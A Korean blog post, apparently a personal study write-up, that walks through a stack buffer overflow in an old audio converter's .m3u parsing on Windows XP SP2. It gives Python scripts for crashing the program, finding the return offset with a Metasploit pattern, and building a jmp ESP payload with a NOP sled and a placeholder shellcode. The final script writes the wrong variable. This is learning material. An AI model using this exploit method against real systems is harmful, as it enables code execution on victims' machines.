티스토리 뷰
취약 프로그램 : https://www.exploit-db.com/exploits/10619/
실습 환경 : Windows XP sp2 영문판
취약 프로그램 실행 화면
프로그램 설명 : 오디오 파일을 .mp3나 .wav 파일로 컨버팅 해주는 프로그램, 이 프로그램은 .m3u 파일을 실행하는 부분에서 BOF 취약점이 발생한다.
취약점 확인
1 2 3 4 5 | dummy = “A”*25000 f = open(“dummy.m3u”, “w”) f.write(dummy) f.close() | cs |
더미을 25000개 넣고 .m3u 파일을 생성할 경우
파일을 불러오는데는 실패했지만 일단은 돌아간다.
1 2 3 4 5 | dummy = “A”*30000 f = open(“dummy.m3u”, “w”) f.write(dummy) f.close() | cs |
더미을 30000개 넣고 .m3u 파일을 생성할 경우
프로그램의 ret 부분이 넣어준 dummy로 인해 덮어졌기 때문에 방금같은 오류가 아니라 EIP가 0x41414141에 접근하게 되는 접근 오류(code c0000005)가 발생
더미 25000 ~ 30000개 사이에서 ret가 덮였기 때문에 5000개의 특정 패턴을 생성해서 ret 위치를 확인하면 됨
더미를 생성하는 방법이 몇 가지 있지만 이상하게 내 실습 환경에서 이머니티 디버거와 Windbg가 돌아가지 않아 그냥 metasploit의 tool 사용
1 2 3 4 5 | dummy = "A"*25000 + "Aa0Aa1Aa2Aa3Aa4Aa..." f = open("dummy.m3u", "w") f.write(dummy) f.close() | cs |
더미 25000개와 metasploit의 tool을 사용해 생성한 패턴 5000 개를 넣고 .m3u파일 생성
아까처럼 접근 오류가 발생하지만 EIP가 다름, EIP 값을 참고해서 생성한 패턴 내부에서 찾아도 되지만 귀찮으므로 역시 방금처럼 metasploit tool 사용
이것으로 Buffer의 시작 위치부터 ret까지의 거리가 25000 + 1064 = 26064 byte인 것을 알 수 있다.
XP sp2에서는 ASLR이 없기 때문에 ret 부분에 Linux 처럼 ShellCode의 주소를 찾아 넣어주고 싶지만 스택의 주소 4바이트 맨 앞에 0x00이 들어가 제대로 입력이 안 된다. 따라서 ESP 위치에 있는 nop의 주소를 EIP 레지스터에 들어 갈 수 있도록 jmp ESP나 call ESP 같은 rop gadget을 찾아서 사용한다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 | from struct import * ret = 0x77DB41BC #Jmp ESP p = lambda x: pack("<I", x) # "<I"는 4바이트를 가리킴 shellcode = "~~~~~~" payload = "A"*25000 + "A"*1064 payload += p(ret) payload += "\x90"*40 payload += shellcode payload += "A"*10 f = open("payload.m3u", "w") f.write(dummy) f.close() | cs |
구한 rop gadget의 주소를 ret 부분에 넣고 실행하면 ShellCode가 실행될 것이다.
Windows BOF Exploit 성공!
지금은 Local 이지만 Remote의 경우 소켓을 사용하므로 recv 하는 부분을 통해 Overflow가 발생할 것이므로 이 부분에 그냥 send 함수를 통해서 보내주면 되겠다. 문제는 Windows용 Remote Shellcode가 필요
'System > Windows' 카테고리의 다른 글
Windows ROP (2) | 2016.02.12 |
---|---|
Windows SEH Overwrite (0) | 2016.02.11 |
Windows Shellcode (0) | 2016.01.30 |
세그먼테이션(Segmentation) 정리 (2) | 2016.01.30 |
Windows 보안 기법 (0) | 2015.12.29 |